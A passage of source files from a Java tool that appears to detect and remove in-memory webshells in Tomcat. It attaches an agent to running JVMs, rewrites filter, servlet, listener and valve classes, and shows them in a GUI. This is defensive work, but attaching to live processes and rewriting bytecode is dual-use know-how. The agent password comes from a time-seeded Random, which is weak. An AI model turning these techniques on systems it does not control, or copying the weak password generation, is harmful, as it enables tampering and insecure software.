-------------------------------------------------------------------------------- 1 | package com.n1ar4.agent.transform; 2 | 3 | 4 | import com.n1ar4.agent.asm.FilterKillClassVisitor; 5 | import org.objectweb.asm.ClassReader; 6 | import org.objectweb.asm.ClassVisitor; 7 | import org.objectweb.asm.ClassWriter; 8 | import org.objectweb.asm.Opcodes; 9 | 10 | import java.lang.instrument.ClassFileTransformer; 11 | import java.security.ProtectionDomain; 12 | 13 | public class FilterKill implements ClassFileTransformer { 14 | private final String className; 15 | 16 | public FilterKill(String className) { 17 | this.className = className; 18 | } 19 | 20 | @Override 21 | public byte[] transform(ClassLoader loader, 22 | String className, Class clsMemShell, 23 | ProtectionDomain protectionDomain, 24 | byte[] classfileBuffer) { 25 | try { 26 | className = className.replace("/", "."); 27 | if (className.equals(this.className)) { 28 | ClassReader cr = new ClassReader(classfileBuffer); 29 | ClassWriter cw = new ClassWriter(ClassWriter.COMPUTE_FRAMES); 30 | int api = Opcodes.ASM9; 31 | ClassVisitor cv = new FilterKillClassVisitor(api, cw); 32 | int parsingOptions = ClassReader.SKIP_DEBUG | ClassReader.SKIP_FRAMES; 33 | cr.accept(cv, parsingOptions); 34 | return cw.toByteArray(); 35 | } 36 | } catch (Exception ex) { 37 | ex.printStackTrace(); 38 | } 39 | return new byte[0]; 40 | } 41 | } 42 | -------------------------------------------------------------------------------- /agent/src/main/java/com/n1ar4/agent/transform/ListenerKill.java: -------------------------------------------------------------------------------- 1 | package com.n1ar4.agent.transform; 2 | 3 | import com.n1ar4.agent.asm.ListenerKillClassVisitor; 4 | import org.objectweb.asm.ClassReader; 5 | import org.objectweb.asm.ClassVisitor; 6 | import org.objectweb.asm.ClassWriter; 7 | import org.objectweb.asm.Opcodes; 8 | 9 | import java.lang.instrument.ClassFileTransformer; 10 | import java.security.ProtectionDomain; 11 | 12 | public class ListenerKill implements ClassFileTransformer { 13 | private final String className; 14 | 15 | public ListenerKill(String className) { 16 | this.className = className; 17 | } 18 | 19 | @Override 20 | public byte[] transform(ClassLoader loader, 21 | String className, Class clsMemShell, 22 | ProtectionDomain protectionDomain, 23 | byte[] classfileBuffer) { 24 | try { 25 | className = className.replace("/", "."); 26 | if (className.equals(this.className)) { 27 | ClassReader cr = new ClassReader(classfileBuffer); 28 | ClassWriter cw = new ClassWriter(ClassWriter.COMPUTE_FRAMES); 29 | int api = Opcodes.ASM9; 30 | ClassVisitor cv = new ListenerKillClassVisitor(api, cw); 31 | int parsingOptions = ClassReader.SKIP_DEBUG | ClassReader.SKIP_FRAMES; 32 | cr.accept(cv, parsingOptions); 33 | return cw.toByteArray(); 34 | } 35 | } catch (Exception ex) { 36 | ex.printStackTrace(); 37 | } 38 | return new byte[0]; 39 | } 40 | } 41 | -------------------------------------------------------------------------------- /agent/src/main/java/com/n1ar4/agent/transform/ServletKill.java: -------------------------------------------------------------------------------- 1 | package com.n1ar4.agent.transform; 2 | 3 | import com.n1ar4.agent.asm.ServletKillClassVisitor; 4 | import org.objectweb.asm.ClassReader; 5 | import org.objectweb.asm.ClassVisitor; 6 | import org.objectweb.asm.ClassWriter; 7 | import org.objectweb.asm.Opcodes; 8 | 9 | import java.lang.instrument.ClassFileTransformer; 10 | import java.security.ProtectionDomain; 11 | 12 | public class ServletKill implements ClassFileTransformer { 13 | private final String className; 14 | 15 | public ServletKill(String className) { 16 | this.className = className; 17 | } 18 | 19 | @Override 20 | public byte[] transform(ClassLoader loader, 21 | String className, Class clsMemShell, 22 | ProtectionDomain protectionDomain, 23 | byte[] classfileBuffer) { 24 | try { 25 | className = className.replace("/", "."); 26 | if (className.equals(this.className)) { 27 | ClassReader cr = new ClassReader(classfileBuffer); 28 | ClassWriter cw = new ClassWriter(ClassWriter.COMPUTE_FRAMES); 29 | int api = Opcodes.ASM9; 30 | ClassVisitor cv = new ServletKillClassVisitor(api, cw); 31 | int parsingOptions = ClassReader.SKIP_DEBUG | ClassReader.SKIP_FRAMES; 32 | cr.accept(cv, parsingOptions); 33 | return cw.toByteArray(); 34 | } 35 | } catch (Exception ex) { 36 | ex.printStackTrace(); 37 | } 38 | return new byte[0]; 39 | } 40 | } 41 | -------------------------------------------------------------------------------- /agent/src/main/java/com/n1ar4/agent/transform/ValveKill.java: -------------------------------------------------------------------------------- 1 | package com.n1ar4.agent.transform; 2 | 3 | import com.n1ar4.agent.asm.ValveKillClassVisitor; 4 | import org.objectweb.asm.ClassReader; 5 | import org.objectweb.asm.ClassVisitor; 6 | import org.objectweb.asm.ClassWriter; 7 | import org.objectweb.asm.Opcodes; 8 | 9 | import java.lang.instrument.ClassFileTransformer; 10 | import java.security.ProtectionDomain; 11 | 12 | public class ValveKill implements ClassFileTransformer { 13 | private final String className; 14 | 15 | public ValveKill(String className) { 16 | this.className = className; 17 | } 18 | 19 | @Override 20 | public byte[] transform(ClassLoader loader, 21 | String className, Class clsMemShell, 22 | ProtectionDomain protectionDomain, 23 | byte[] classfileBuffer) { 24 | try { 25 | className = className.replace("/", "."); 26 | if (className.equals(this.className)) { 27 | ClassReader cr = new ClassReader(classfileBuffer); 28 | ClassWriter cw = new ClassWriter(ClassWriter.COMPUTE_FRAMES); 29 | int api = Opcodes.ASM9; 30 | ClassVisitor cv = new ValveKillClassVisitor(api, cw); 31 | int parsingOptions = ClassReader.SKIP_DEBUG | ClassReader.SKIP_FRAMES; 32 | cr.accept(cv, parsingOptions); 33 | return cw.toByteArray(); 34 | } 35 | } catch (Exception ex) { 36 | ex.printStackTrace(); 37 | } 38 | return new byte[0]; 39 | } 40 | } 41 | -------------------------------------------------------------------------------- /agent/src/main/java/com/n1ar4/agent/util/FilterObjectInputStream.java: -------------------------------------------------------------------------------- 1 | package com.n1ar4.agent.util; 2 | 3 | import java.io.IOException; 4 | import java.io.InputStream; 5 | import java.io.ObjectInputStream; 6 | import java.io.ObjectStreamClass; 7 | 8 | public class FilterObjectInputStream extends ObjectInputStream { 9 | public FilterObjectInputStream(InputStream in) throws IOException { 10 | super(in); 11 | } 12 | 13 | @Override 14 | protected Class resolveClass(final ObjectStreamClass classDesc) throws IOException, ClassNotFoundException { 15 | if (classDesc.getName().equals("[Ljava.lang.String;") || 16 | classDesc.getName().equals("java.lang.String")) { 17 | return super.resolveClass(classDesc); 18 | } 19 | throw new RuntimeException(String.format("not support class: %s", classDesc.getName())); 20 | } 21 | } 22 | -------------------------------------------------------------------------------- /gui/lib/README.md: -------------------------------------------------------------------------------- 1 | ## JSyntaxPane 2 | 3 | JSyntaxPane Source Code: https://code.google.com/archive/p/jsyntaxpane/ 4 | 5 | This is not a standard JSyntaxPane lib, but a special customized version which was built myself. -------------------------------------------------------------------------------- /gui/lib/syntax-panel.jar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/4ra1n/shell-analyzer/9f00400ca9635f7e189f5b9da23e713b9ebb4a35/gui/lib/syntax-panel.jar -------------------------------------------------------------------------------- /gui/pom.xml: -------------------------------------------------------------------------------- 1 | 2 | 5 | 6 | shell-analyzer 7 | com.n1ar4 8 | 0.1 9 | 10 | 4.0.0 11 | 12 | jar 13 | gui 14 | 15 | 16 | 8 17 | 8 18 | UTF-8 19 | 20 | 21 | 22 | 23 | my-local-lib 24 | my-local-lib 25 | file://${basedir}/lib 26 | 27 | 28 | quiltm 29 | quiltm 30 | https://maven.quiltmc.org/repository/release 31 | 32 | 33 | 34 | 35 | 36 | org.ow2.asm 37 | asm 38 | 9.4 39 | 40 | 41 | org.ow2.asm 42 | asm-util 43 | 9.4 44 | 45 | 46 | com.formdev 47 | flatlaf 48 | 3.0 49 | 50 | 51 | com.intellij 52 | forms_rt 53 | 7.0.3 54 | 55 | 56 | log4j 57 | log4j 58 | 1.2.17 59 | 60 | 61 | org.quiltmc 62 | quiltflower 63 | 1.8.1 64 | 65 | 66 | lib 67 | jsyntaxpane 68 | 1.0.0 69 | 70 | 71 | jdk 72 | tools 73 | 1.0.0 74 | system 75 | ${java.home}/../lib/tools.jar 76 | 77 | 78 | 79 | 80 | 81 | 82 | org.apache.maven.plugins 83 | maven-install-plugin 84 | 3.1.0 85 | 86 | 87 | syntax 88 | initialize 89 | 90 | install-file 91 | 92 | 93 | lib/syntax-panel.jar 94 | lib 95 | jsyntaxpane 96 | 1.0.0 97 | jar 98 | 99 | 100 | 101 | 102 | 103 | maven-assembly-plugin 104 | 105 | ../ 106 | false 107 | 108 | jar-with-dependencies 109 | 110 | 111 | 112 | com.n1ar4.Application 113 | 114 | 115 | 116 | 117 | 118 | make-assembly 119 | package 120 | 121 | single 122 | 123 | 124 | 125 | 126 | 127 | org.apache.maven.plugins 128 | maven-compiler-plugin 129 | 3.10.1 130 | 131 | ${maven.compiler.source} 132 | ${maven.compiler.target} 133 | 134 | 135 | 136 | 137 | -------------------------------------------------------------------------------- /gui/src/main/java/com/n1ar4/Application.java: -------------------------------------------------------------------------------- 1 | package com.n1ar4; 2 | 3 | import com.n1ar4.form.ShellForm; 4 | 5 | import javax.swing.*; 6 | import javax.tools.JavaCompiler; 7 | import javax.tools.ToolProvider; 8 | import java.io.File; 9 | import java.io.PrintStream; 10 | import java.nio.file.Files; 11 | import java.nio.file.Path; 12 | import java.nio.file.Paths; 13 | 14 | public class Application { 15 | public static void main(String[] args) { 16 | checkJDK(); 17 | Path outLogPath = new File("shell-analyzer-out.log").toPath(); 18 | Path errLogPath = new File("shell-analyzer-err.log").toPath(); 19 | try { 20 | System.setOut(new PrintStream(Files.newOutputStream(outLogPath))); 21 | System.setErr(new PrintStream(Files.newOutputStream(errLogPath))); 22 | Runtime.getRuntime().addShutdownHook(new Thread(() -> { 23 | try { 24 | Files.delete(outLogPath); 25 | } catch (Exception ignored) { 26 | } 27 | try { 28 | Files.delete(errLogPath); 29 | } catch (Exception ignored) { 30 | } 31 | try { 32 | Files.delete(Paths.get("test.class")); 33 | } catch (Exception ignored) { 34 | } 35 | })); 36 | } catch (Exception ex) { 37 | ex.printStackTrace(); 38 | } 39 | ShellForm.start0(); 40 | } 41 | 42 | public static void checkJDK() { 43 | JavaCompiler c = ToolProvider.getSystemJavaCompiler(); 44 | if (c == null) { 45 | JOptionPane.showMessageDialog(null, "请使用JDK启动(目前是JRE)"); 46 | System.exit(0); 47 | } 48 | } 49 | } 50 | -------------------------------------------------------------------------------- /gui/src/main/java/com/n1ar4/cmd/SocketTest.java: -------------------------------------------------------------------------------- 1 | package com.n1ar4.cmd; 2 | 3 | import java.io.ByteArrayOutputStream; 4 | import java.io.ObjectInputStream; 5 | import java.io.ObjectOutputStream; 6 | import java.net.Socket; 7 | import java.nio.file.Files; 8 | import java.nio.file.Paths; 9 | import java.util.ArrayList; 10 | 11 | @SuppressWarnings("all") 12 | public class SocketTest { 13 | 14 | public static void main(String args[]) throws Exception { 15 | // getAllClasses(); 16 | // getAllFilters(); 17 | // getAllServlets(); 18 | // getAllValves(); 19 | // getAllListeners(); 20 | getBytecode(); 21 | } 22 | 23 | public static void getBytecode() throws Exception { 24 | String host = "127.0.0.1"; 25 | int port = 10032; 26 | Socket client = new Socket(host, port); 27 | ByteArrayOutputStream bao = new ByteArrayOutputStream(); 28 | ObjectOutputStream oos = new ObjectOutputStream(bao); 29 | oos.writeObject("Tomcat"); 30 | client.getOutputStream().write(bao.toByteArray()); 31 | ObjectInputStream ois = new ObjectInputStream(client.getInputStream()); 32 | byte[] data = (byte[]) ois.readObject(); 33 | Files.write(Paths.get("test.class"), data); 34 | } 35 | 36 | public static void getAllClasses() throws Exception { 37 | String host = "127.0.0.1"; 38 | int port = 10032; 39 | Socket client = new Socket(host, port); 40 | ByteArrayOutputStream bao = new ByteArrayOutputStream(); 41 | ObjectOutputStream oos = new ObjectOutputStream(bao); 42 | oos.writeObject(""); 43 | client.getOutputStream().write(bao.toByteArray()); 44 | 45 | ObjectInputStream ois = new ObjectInputStream(client.getInputStream()); 46 | ArrayList arrayList = (ArrayList) ois.readObject(); 47 | for (String s : arrayList) { 48 | System.out.println(s); 49 | } 50 | } 51 | 52 | public static void getAllServlets() throws Exception { 53 | String host = "127.0.0.1"; 54 | int port = 10032; 55 | Socket client = new Socket(host, port); 56 | ByteArrayOutputStream bao = new ByteArrayOutputStream(); 57 | ObjectOutputStream oos = new ObjectOutputStream(bao); 58 | oos.writeObject(""); 59 | client.getOutputStream().write(bao.toByteArray()); 60 | 61 | ObjectInputStream ois = new ObjectInputStream(client.getInputStream()); 62 | ArrayList arrayList = (ArrayList) ois.readObject(); 63 | for (String s : arrayList) { 64 | System.out.println(s); 65 | } 66 | } 67 | 68 | public static void getAllFilters() throws Exception { 69 | String host = "127.0.0.1"; 70 | int port = 10032; 71 | Socket client = new Socket(host, port); 72 | ByteArrayOutputStream bao = new ByteArrayOutputStream(); 73 | ObjectOutputStream oos = new ObjectOutputStream(bao); 74 | oos.writeObject(""); 75 | client.getOutputStream().write(bao.toByteArray()); 76 | 77 | ObjectInputStream ois = new ObjectInputStream(client.getInputStream()); 78 | ArrayList arrayList = (ArrayList) ois.readObject(); 79 | for (String s : arrayList) { 80 | System.out.println(s); 81 | } 82 | } 83 | 84 | public static void getAllListeners() throws Exception { 85 | String host = "127.0.0.1"; 86 | int port = 10032; 87 | Socket client = new Socket(host, port); 88 | ByteArrayOutputStream bao = new ByteArrayOutputStream(); 89 | ObjectOutputStream oos = new ObjectOutputStream(bao); 90 | oos.writeObject(""); 91 | client.getOutputStream().write(bao.toByteArray()); 92 | 93 | ObjectInputStream ois = new ObjectInputStream(client.getInputStream()); 94 | ArrayList arrayList = (ArrayList) ois.readObject(); 95 | for (String s : arrayList) { 96 | System.out.println(s); 97 | } 98 | } 99 | 100 | public static void getAllValves() throws Exception { 101 | String host = "127.0.0.1"; 102 | int port = 10032; 103 | Socket client = new Socket(host, port); 104 | ByteArrayOutputStream bao = new ByteArrayOutputStream(); 105 | ObjectOutputStream oos = new ObjectOutputStream(bao); 106 | oos.writeObject(""); 107 | client.getOutputStream().write(bao.toByteArray()); 108 | 109 | ObjectInputStream ois = new ObjectInputStream(client.getInputStream()); 110 | ArrayList arrayList = (ArrayList) ois.readObject(); 111 | for (String s : arrayList) { 112 | System.out.println(s); 113 | } 114 | } 115 | } -------------------------------------------------------------------------------- /gui/src/main/java/com/n1ar4/cmd/Test.java: -------------------------------------------------------------------------------- 1 | package com.n1ar4.cmd; 2 | 3 | import com.sun.tools.attach.VirtualMachine; 4 | import com.sun.tools.attach.VirtualMachineDescriptor; 5 | 6 | import java.util.List; 7 | 8 | public class Test { 9 | public static void main(String[] args) throws Exception{ 10 | String path = "D:\\JavaCode\\shell-analyzer\\agent\\target\\RepairAgent-jar-with-dependencies.jar"; 11 | List list = VirtualMachine.list(); 12 | for (VirtualMachineDescriptor v:list){ 13 | if(v.displayName().contains("org.apache.catalina.startup.Bootstrap")){ 14 | System.out.println(v.displayName()); 15 | VirtualMachine vm = VirtualMachine.attach(v.id()); 16 | // 将我们的 agent.jar 发送给虚拟机 17 | vm.loadAgent(path); 18 | vm.detach(); 19 | } 20 | } 21 | } 22 | } 23 | -------------------------------------------------------------------------------- /gui/src/main/java/com/n1ar4/form/ShellForm.form: -------------------------------------------------------------------------------- 1 | 2 |
3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 19 | 20 | 21 | 22 | 23 | 24 | 25 | 26 | 27 | 28 | 29 | 30 | 31 | 32 | 33 | 34 | 35 | 36 | 37 | 38 | 39 | 40 | 41 | 42 | 43 | 44 | 45 | 46 | 47 | 48 | 49 | 50 | 51 | 52 | 53 | 54 | 55 | 56 | 57 | 58 | 59 | 60 | 61 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | 71 | 72 | 73 | 74 | 75 | 76 | 77 | 78 | 79 | 80 | 81 | 82 | 83 | 84 | 85 | 86 | 87 | 88 | 89 | 90 | 91 | 92 | 93 | 94 | 95 | 96 | 97 | 98 | 99 | 100 | 101 | 102 | 103 | 104 | 105 | 106 | 107 | 108 | 109 | 110 | 111 | 112 | 113 | 114 | 115 | 116 | 117 | 118 | 119 | 120 | 121 | 122 | 123 | 124 | 125 | 126 | 127 | 128 | 129 | 130 | 131 | 132 | 133 | 134 | 135 | 136 | 137 | 138 | 139 | 140 | 141 | 142 | 143 | 144 | 145 | 146 | 147 | 148 | 149 | 150 | 151 | 152 | 153 | 154 | 155 | 156 | 157 | 158 | 159 | 160 | 161 | 162 | 163 | 164 | 165 | 166 | 167 | 168 | 169 | 170 | 171 | 172 | 173 | 174 | 175 | 176 | 177 | 178 | 179 | 180 | 181 | 182 | 183 | 184 | 185 | 186 | 187 | 188 | 189 | 190 | 191 | 192 | 193 | 194 | 195 | 196 | 197 | 198 | 199 | 200 | 201 | 202 | 203 | 204 | 205 | 206 | 207 | 208 | 209 | 210 | 211 | 212 | 213 | 214 | 215 | 216 | 217 | 218 | 219 | 220 | 221 | 222 | 223 | 224 | 225 | 226 | 227 | 228 | 229 | 230 | 231 | 232 | 233 | 234 | 235 | 236 | 237 | 238 | 239 | 240 | 241 | 242 | 243 | 244 | 245 | 246 | 247 | 248 | 249 | 250 | 251 | 252 | 253 | 254 | 255 | 256 | 257 | 258 | 259 | 260 | 261 | 262 | 263 | 264 | 265 | 266 | 267 | 268 | 269 | 270 | 271 | 272 | 273 | 274 | 275 | 276 | 277 | 278 | 279 | 280 | 281 | 282 | 283 | 284 | 285 | 286 | 287 | 288 | 289 | 290 | 291 | 292 | 293 | 294 | 295 | 296 | 297 | 298 | 299 | 300 | 301 | 302 | 303 | 304 | 305 | 306 | 307 | 308 | 309 | 310 | 311 | 312 | 313 | 314 | 315 | 316 | 317 | 318 | 319 | 320 | 321 | 322 | 323 | 324 | 325 | 326 | 327 | 328 | 329 | 330 | 331 | 332 | 333 | 334 | 335 | 336 | 337 | 338 | 339 | 340 | 341 | 342 | 343 | 344 | 345 | 346 | 347 | 348 | 349 | 350 | 351 | 352 | 353 | 354 | 355 | 356 | 357 | 358 | 359 | 360 | 361 | 362 | 363 | 364 | 365 | 366 | 367 | 368 | 369 | 370 | 371 | 372 | 373 | 374 | 375 | 376 | 377 | 378 | 379 | 380 | 381 | 382 | 383 | 384 | 385 | 386 | 387 | 388 | 389 | 390 | 391 | 392 | 393 | 394 | 395 | 396 | 397 | 398 | 399 | 400 | 401 | 402 | 403 | 404 | 405 | 406 | 407 | 408 | 409 | 410 | 411 | 412 | 413 | 414 | 415 | 416 | 417 | 418 | 419 | 420 | 421 | 422 | 423 | 424 | 425 | 426 | 427 | 428 | 429 | 430 | 431 | 432 | 433 | 434 | 435 | 436 | 437 | 438 | 439 | 440 | 441 | 442 | 443 | 444 | 445 | 446 | 447 | 448 | -------------------------------------------------------------------------------- /gui/src/main/java/com/n1ar4/form/ShellForm.java: -------------------------------------------------------------------------------- 1 | package com.n1ar4.form; 2 | 3 | import com.n1ar4.model.ClassObj; 4 | import com.n1ar4.model.ProcessObj; 5 | import com.n1ar4.start.SocketHelper; 6 | import com.formdev.flatlaf.FlatDarkLaf; 7 | import com.intellij.uiDesigner.core.GridConstraints; 8 | import com.intellij.uiDesigner.core.GridLayoutManager; 9 | import com.sun.tools.attach.VirtualMachine; 10 | import com.sun.tools.attach.VirtualMachineDescriptor; 11 | import jsyntaxpane.syntaxkits.JavaSyntaxKit; 12 | import org.jetbrains.java.decompiler.main.decompiler.ConsoleDecompiler; 13 | 14 | import javax.swing.*; 15 | import javax.swing.border.TitledBorder; 16 | import javax.swing.plaf.FontUIResource; 17 | import javax.swing.table.DefaultTableModel; 18 | import javax.swing.text.StyleContext; 19 | import java.awt.*; 20 | import java.awt.event.MouseAdapter; 21 | import java.awt.event.MouseEvent; 22 | import java.io.IOException; 23 | import java.nio.file.Files; 24 | import java.nio.file.Path; 25 | import java.nio.file.Paths; 26 | import java.util.ArrayList; 27 | import java.util.List; 28 | import java.util.Locale; 29 | import java.util.Random; 30 | import java.util.regex.Matcher; 31 | import java.util.regex.Pattern; 32 | 33 | public class ShellForm { 34 | class CommonMouse extends MouseAdapter { 35 | public void mouseClicked(MouseEvent evt) { 36 | JList list = (JList) evt.getSource(); 37 | if (evt.getClickCount() == 2) { 38 | core(evt, list); 39 | } 40 | } 41 | } 42 | 43 | public static ShellForm instance; 44 | private JPanel shellPanel; 45 | private JPanel rootPanel; 46 | private JPanel topPanel; 47 | private JButton runningButton; 48 | private JTextField pidText; 49 | private JButton attachButton; 50 | private JList filterList; 51 | private JList listenerList; 52 | private JTabbedPane tabbedPane; 53 | private JPanel normalPanel; 54 | private JEditorPane editorPanel; 55 | private JCheckBox ignoreApacheBox; 56 | private JTextArea blackArea; 57 | private JCheckBox ignoreJavaBox; 58 | private JButton analyzeButton; 59 | private JScrollPane processScroll; 60 | private JLabel pidLabel; 61 | private JPanel filtersPane; 62 | private JPanel servletsPane; 63 | private JPanel listenerPane; 64 | private JPanel valvePane; 65 | private JPanel confPane; 66 | private JPanel confPanel; 67 | private JPanel blackPanel; 68 | private JScrollPane blackScroll; 69 | private JPanel analyzePanel; 70 | private JPanel checkPanel; 71 | private JPanel codePanel; 72 | private JScrollPane codeScroll; 73 | private JPanel logPanel; 74 | private JScrollPane logScroll; 75 | private JTextArea logArea; 76 | private JScrollPane filterScroll; 77 | private JScrollPane servletScroll; 78 | private JList servletList; 79 | private JScrollPane listenerScroll; 80 | private JScrollPane valveScroll; 81 | private JList valveList; 82 | private JTable processTable; 83 | private JCheckBox ignoreSpringBox; 84 | private JLabel blackTip; 85 | private JButton killButton; 86 | private JTextField killText; 87 | private JButton refreshButton; 88 | private JPanel sshPanel; 89 | private JTextField ipText; 90 | private JLabel ipLabel; 91 | private JTextField passText; 92 | private JLabel passLabel; 93 | private JButton genButton; 94 | private static final List black = new ArrayList<>(); 95 | private static final String[] columns = new String[]{"PID", "Name"}; 96 | private static String[][] rows = new String[0][0]; 97 | private static final List coList = new ArrayList<>(); 98 | 99 | private static DefaultTableModel model = new DefaultTableModel(rows, columns) { 100 | public boolean isCellEditable(int row, int column) { 101 | return false; 102 | } 103 | }; 104 | 105 | private void analyze() { 106 | String host; 107 | if (ipText.getText().equals("")) { 108 | host = "127.0.0.1"; 109 | } else { 110 | host = ipText.getText(); 111 | String pattern = "((2(5[0-5]|[0-4]\\d))|[0-1]?\\d{1,2})(\\.((2(5[0-5]|[0-4]\\d))|[0-1]?\\d{1,2})){3}"; 112 | Pattern r = Pattern.compile(pattern); 113 | Matcher m = r.matcher(host); 114 | if (!m.matches()) { 115 | JOptionPane.showMessageDialog(shellPanel, "你输入的不是正确的IP地址"); 116 | return; 117 | } 118 | } 119 | 120 | String pass = passText.getText(); 121 | if (pass.length() != 8) { 122 | JOptionPane.showMessageDialog(shellPanel, "请输入密码"); 123 | } 124 | 125 | SocketHelper.setHost(host); 126 | SocketHelper.setPass(pass); 127 | 128 | DefaultListModel filtersModel = new DefaultListModel<>(); 129 | DefaultListModel listenersModel = new DefaultListModel<>(); 130 | DefaultListModel servletsModel = new DefaultListModel<>(); 131 | DefaultListModel valvesModel = new DefaultListModel<>(); 132 | 133 | boolean igApache = ignoreApacheBox.isSelected(); 134 | boolean igJava = ignoreJavaBox.isSelected(); 135 | boolean igSpring = ignoreSpringBox.isSelected(); 136 | 137 | String b = blackArea.getText(); 138 | 139 | String[] t = b.split("\n"); 140 | for (String s : t) { 141 | s = s.trim(); 142 | if (s.endsWith("\r")) { 143 | s = s.substring(0, s.length() - 1); 144 | } 145 | black.add(s); 146 | } 147 | 148 | try { 149 | List filters = SocketHelper.getAllFilters(); 150 | for (String filter : filters) { 151 | if (igApache && filter.startsWith("org.apache")) { 152 | continue; 153 | } 154 | if (igSpring && filter.startsWith("org.springframework")) { 155 | continue; 156 | } 157 | if (igJava) { 158 | if (filter.startsWith("java.")) { 159 | continue; 160 | } 161 | if (filter.startsWith("javax.")) { 162 | continue; 163 | } 164 | if (filter.startsWith("sun.")) { 165 | continue; 166 | } 167 | } 168 | boolean blackF = false; 169 | for (String s : black) { 170 | if (filter.contains(s)) { 171 | blackF = true; 172 | break; 173 | } 174 | } 175 | if (!blackF) { 176 | continue; 177 | } 178 | ClassObj co = new ClassObj(filter, "FILTER"); 179 | filtersModel.addElement(co); 180 | coList.add(co); 181 | } 182 | filterList.setModel(filtersModel); 183 | } catch (Exception ex) { 184 | log("无法获得信息"); 185 | } 186 | 187 | try { 188 | List servlets = SocketHelper.getAllServlets(); 189 | for (String servlet : servlets) { 190 | if (igApache && servlet.startsWith("org.apache")) { 191 | continue; 192 | } 193 | if (igSpring && servlet.startsWith("org.springframework")) { 194 | continue; 195 | } 196 | if (igJava) { 197 | if (servlet.startsWith("java.")) { 198 | continue; 199 | } 200 | if (servlet.startsWith("javax.")) { 201 | continue; 202 | } 203 | if (servlet.startsWith("sun.")) { 204 | continue; 205 | } 206 | } 207 | boolean blackF = false; 208 | for (String s : black) { 209 | if (servlet.contains(s)) { 210 | blackF = true; 211 | break; 212 | } 213 | } 214 | if (!blackF) { 215 | continue; 216 | } 217 | ClassObj co = new ClassObj(servlet, "SERVLET"); 218 | servletsModel.addElement(co); 219 | coList.add(co); 220 | } 221 | servletList.setModel(servletsModel); 222 | } catch (Exception ex) { 223 | log("无法获得信息"); 224 | } 225 | 226 | try { 227 | List listeners = SocketHelper.getAllListeners(); 228 | for (String li : listeners) { 229 | if (igApache && li.startsWith("org.apache")) { 230 | continue; 231 | } 232 | if (igSpring && li.startsWith("org.springframework")) { 233 | continue; 234 | } 235 | if (igJava) { 236 | if (li.startsWith("java.")) { 237 | continue; 238 | } 239 | if (li.startsWith("javax.")) { 240 | continue; 241 | } 242 | if (li.startsWith("sun.")) { 243 | continue; 244 | } 245 | } 246 | boolean blackF = false; 247 | for (String s : black) { 248 | if (li.contains(s)) { 249 | blackF = true; 250 | break; 251 | } 252 | } 253 | if (!blackF) { 254 | continue; 255 | } 256 | ClassObj co = new ClassObj(li, "LISTENER"); 257 | listenersModel.addElement(co); 258 | coList.add(co); 259 | } 260 | listenerList.setModel(listenersModel); 261 | } catch (Exception ex) { 262 | log("无法获得信息"); 263 | } 264 | 265 | try { 266 | List valves = SocketHelper.getAllValves(); 267 | for (String v : valves) { 268 | if (igApache && v.startsWith("org.apache")) { 269 | continue; 270 | } 271 | if (igSpring && v.startsWith("org.springframework")) { 272 | continue; 273 | } 274 | if (igJava) { 275 | if (v.startsWith("java.")) { 276 | continue; 277 | } 278 | if (v.startsWith("javax.")) { 279 | continue; 280 | } 281 | if (v.startsWith("sun.")) { 282 | continue; 283 | } 284 | } 285 | boolean blackF = false; 286 | for (String s : black) { 287 | if (v.contains(s)) { 288 | blackF = true; 289 | break; 290 | } 291 | } 292 | if (!blackF) { 293 | continue; 294 | } 295 | ClassObj co = new ClassObj(v, "VALVE"); 296 | valvesModel.addElement(co); 297 | coList.add(co); 298 | } 299 | valveList.setModel(valvesModel); 300 | } catch (Exception ex) { 301 | log("无法获得信息"); 302 | } 303 | } 304 | 305 | @SuppressWarnings("all") 306 | public ShellForm() { 307 | editorPanel.setEditorKit(new JavaSyntaxKit()); 308 | processTable.setModel(model); 309 | processTable.getColumnModel().getColumn(0).setMaxWidth(100); 310 | 311 | genButton.addActionListener(e -> { 312 | int length = 8; 313 | String str = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"; 314 | Random random = new Random(); 315 | random.setSeed(System.currentTimeMillis()); 316 | StringBuffer sb = new StringBuffer(); 317 | for (int i = 0; i < length; i++) { 318 | int number = random.nextInt(62); 319 | sb.append(str.charAt(number)); 320 | } 321 | passText.setText(sb.toString()); 322 | }); 323 | 324 | this.processTable.addMouseListener(new MouseAdapter() { 325 | @Override 326 | public void mouseClicked(MouseEvent evt) { 327 | int row = processTable.rowAtPoint(evt.getPoint()); 328 | if (row >= 0) { 329 | String pid = rows[row][0]; 330 | pidText.setText(pid); 331 | } 332 | } 333 | }); 334 | 335 | runningButton.addActionListener(e -> { 336 | List> dataList = new ArrayList<>(); 337 | List list = VirtualMachine.list(); 338 | for (VirtualMachineDescriptor v : list) { 339 | ProcessObj p = new ProcessObj(); 340 | p.setId(v.id()); 341 | 342 | String t = v.displayName(); 343 | if (t == null || t.equals("")) { 344 | continue; 345 | } 346 | 347 | if (!t.toLowerCase().endsWith(".jar")) { 348 | String[] s = t.split("\\."); 349 | t = s[s.length - 1]; 350 | 351 | if (t.contains("/")) { 352 | s = t.split("/"); 353 | t = s[s.length - 1]; 354 | } 355 | } 356 | 357 | p.setName(t); 358 | List temp = new ArrayList<>(); 359 | temp.add(p.getId()); 360 | temp.add(p.getName()); 361 | dataList.add(temp); 362 | } 363 | String[][] z = new String[dataList.size()][]; 364 | for (int i = 0; i < dataList.size(); i++) { 365 | String[] a = dataList.get(i).toArray(new String[0]); 366 | z[i] = a; 367 | } 368 | 369 | log("当前运行的Java进程数量: " + z.length); 370 | 371 | rows = z; 372 | model = new DefaultTableModel(rows, columns) { 373 | public boolean isCellEditable(int row, int column) { 374 | return false; 375 | } 376 | }; 377 | processTable.setModel(model); 378 | processTable.getColumnModel().getColumn(0).setMaxWidth(100); 379 | }); 380 | attachButton.addActionListener(e -> { 381 | String pid = pidText.getText(); 382 | String pass = passText.getText(); 383 | if (pass.length() != 8) { 384 | JOptionPane.showMessageDialog(shellPanel, "请输入长度为8的密码"); 385 | return; 386 | } 387 | SocketHelper.setPass(pass); 388 | log("开始Attach到目标: " + pid); 389 | try { 390 | VirtualMachine vm = VirtualMachine.attach(pid); 391 | log("正在加载Agent程序..."); 392 | 393 | Path agentPath = Paths.get("agent.jar"); 394 | Path agentDepPath = Paths.get("agent-jar-with-dependencies.jar"); 395 | 396 | String path; 397 | if (Files.exists(agentPath)) { 398 | path = 